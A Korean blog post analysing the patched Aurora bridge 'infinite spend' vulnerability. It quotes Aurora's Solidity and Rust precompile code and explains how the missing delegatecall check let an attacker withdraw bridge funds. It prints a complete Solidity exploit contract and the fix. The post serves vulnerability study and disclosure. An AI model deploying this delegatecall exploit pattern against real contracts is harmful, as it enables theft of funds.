
업데이트 시기 : 2022. 04. 27
취약점 신고자 : pwning.eth
취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임.
취약점 분석
etc/eth-contracts/contracts/test/Tester.sol
function withdrawEthToNear(bytes memory recipient) external payable {
bytes memory input = abi.encodePacked("\x00", recipient);
uint input_size = 1 + recipient.length;
uint256 amount = msg.value;
assembly {
let res := call(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, amount, add(input, 32), input_size, 0, 32)
}
}
function withdrawEthToEthereum(address recipient) external payable {
bytes20 recipient_b = bytes20(recipient);
bytes memory input = abi.encodePacked("\x00", recipient_b);
uint input_size = 1 + 20;
uint256 amount = msg.value;
assembly {
let res := call(gas(), 0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab, amount, add(input, 32), input_size, 0, 32)
}
}
위 코드는 aurora에서 자체적으로 만든 테스트 코드이다. 두 함수는 각각 브릿지에 Eth를 보내면 이를 반환해주는 함수다.
두 함수는 공통적인 취약점을 가지고 있으므로, withdrawEthToNear 함수만 봐도 무방하다.
withdrawEthToNear는 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 주소를 호출하고 있으며, 해당 주소는 aurora 자체 개발 엔진인 engine-precompiles/src/native.rs에서 확인 가능하다.
engine-precompiles/src/native.rs
// It's not allowed to call exit precompiles in static mode
if is_static {
return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
}
let flag = input[0];
#[cfg(feature = "error_refund")]
let (refund_address, mut input) = parse_input(input);
#[cfg(not(feature = "error_refund"))]
let mut input = parse_input(input);
let current_account_id = self.current_account_id.clone();
#[cfg(feature = "error_refund")]
let refund_on_error_target = current_account_id.clone();
let (nep141_address, args, exit_event) = match flag {
0x0 => {
// ETH transfer
//
// Input slice format:
// recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens
if let Ok(dest_account) = AccountId::try_from(input) {
(
current_account_id,
// There is no way to inject json, given the encoding of both arguments
// as decimal and valid account id respectively.
format!(
r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
dest_account,
context.apparent_value.as_u128()
),
events::ExitToNear {
sender: Address::new(context.caller),
erc20_address: events::ETH_ADDRESS,
dest: dest_account.to_string(),
amount: context.apparent_value,
},
)
} else {
return Err(ExitError::Other(Cow::from(
"ERR_INVALID_RECEIVER_ACCOUNT_ID",
)));
}
}
0x1 => {
// ERC20 transfer
//
// This precompile branch is expected to be called from the ERC20 burn function\
//
// Input slice format:
// amount (U256 big-endian bytes) - the amount that was burned
// recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 tokens
if context.apparent_value != U256::from(0) {
return Err(ExitError::Other(Cow::from(
"ERR_ETH_ATTACHED_FOR_ERC20_EXIT",
)));
}
let erc20_address = context.caller;
let nep141_address = get_nep141_from_erc20(erc20_address.as_bytes());
let amount = U256::from_big_endian(&input[..32]);
input = &input[32..];
if let Ok(receiver_account_id) = AccountId::try_from(input) {
(
nep141_address,
// There is no way to inject json, given the encoding of both arguments
// as decimal and valid account id respectively.
format!(
r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
receiver_account_id,
amount.as_u128()
),
events::ExitToNear {
sender: Address::new(erc20_address),
erc20_address: Address::new(erc20_address),
dest: receiver_account_id.to_string(),
amount,
},
)
} else {
return Err(ExitError::Other(Cow::from(
"ERR_INVALID_RECEIVER_ACCOUNT_ID",
)));
}
}
위 코드는 native.rs에서 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f가 호출되는 중요한 부분만을 자른 코드이다.
input의 첫번째 인자로 flag를 받아 erc20을 받는지 Eth를 받는지 구분하고 있다.
flag=0인 경우에는 Eth를 받는 경우이며, 위의 context.apparent_value는 msg.value를 의미하고, dest_account는 input을 파싱하여 얻은 주소값을 가리키고 있다.
그렇게 각 값을 얻은 다음 이를 ExitToNear 이벤트 struct로 저장해 exit_event에 로그로 저장한다.
이렇게 로그로 저장된 값들은 engine/src/engine.rs 코드 내에서 스케줄러에 올라가게 된다.
engine/src/engine.rs
fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog>
where
T: IntoIterator<Item = Log>,
P: PromiseHandler,
{
logs.into_iter()
.filter_map(|log| {
if log.address == exit_to_near::ADDRESS.raw()
|| log.address == exit_to_ethereum::ADDRESS.raw()
{
if log.topics.is_empty() {
if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) {
match promise {
PromiseArgs::Create(promise) => schedule_promise(handler, &promise),
PromiseArgs::Callback(promise) => {
let base_id = schedule_promise(handler, &promise.base);
schedule_promise_callback(handler, base_id, &promise.callback)
}
};
}
// do not pass on these "internal logs" to caller
None
} else {
// The exit precompiles do produce externally consumable logs in
// addition to the promises. The external logs have a non-empty
// `topics` field.
Some(log.into())
}
} else {
Some(log.into())
}
})
.collect()
}
exit_to_near 주소에서 올라간 로그들은 스케줄러 promise로 올라가게 됨을 확인할 수 있다.
취약점은 위에 올린 native.rs 코드에서 발견된다.
코드의 첫부분을 보게 되면 staticcall을 금지하는 코드가 있음을 확인할 수 있다.
// It's not allowed to call exit precompiles in static mode
if is_static {
return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
}
해당 코드에서는 주소로 들어오는 호출이 staticcall일 경우 에러를 반환하도록 하고 있다.
하지만 delegatecall에 대해서는 별도의 조건이 없고 해당 호출을 허용하고 있다.
delegatecall을 사용하는 경우를 살펴보자.

delegatecall로 Contract A에서 Contract B를 호출하는 경우 msg.sender와 msg.value가 Contract A 호출시와 동일하다.
또한 사용하는 Storage는 Contract A가 된다.
따라서 아래와 같은 공격 Contract가 수행 가능하게 된다.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
contract Exploit {
address payable private owner;
constructor() {
owner = payable(msg.sender);
}
function exploit(bytes memory recipient) public payable {
require(msg.sender == owner);
bytes memory input = abi.encodePacked("\x00", recipient);
uint input_size = 1 + recipient.length;
assembly {
let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
}
owner.transfer(msg.value);
}
}
내 주소에서 Exploit Contract에 x Ether만큼 전송하고 exploit 함수를 호출한다고 생각해보자.
아래의 delegatecall을 통해 호출될 때의 상황을 생각해보면
msg.value = x, msg.sender = 내 주소, recipient = 내 주소 입력 이 되게 된다.
aurora engine에서는 bridge에 msg.value만큼 Eth가 전송되었다고 착각하여 앞서 설명한 프로세스를 수행하게 되고, 결과적으로 recipient(내 주소)에 x Eth를 전송하게 된다.
결론적으로 내 주소에는 x Eth만큼의 자산이 추가되게 된다.
취약점 수정
해당 취약점은 앞서 staticcall을 금지한것처럼 delegatecall 호출을 금지함으로서 취약점이 수정되었다.
// It's not allowed to call exit precompiles in static mode
if is_static {
return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
} else if context.address != Self::ADDRESS.raw() {
return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_DELEGATE")));
}
참고
https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d
https://github.com/aurora-is-near/aurora-engine
https://aurora.dev/blog/aurora-mitigates-its-inflation-vulnerability
'vulnerability analysis' 카테고리의 다른 글
| Precompile contract delegatecall Vulnerability (0) | 2022.07.05 |
|---|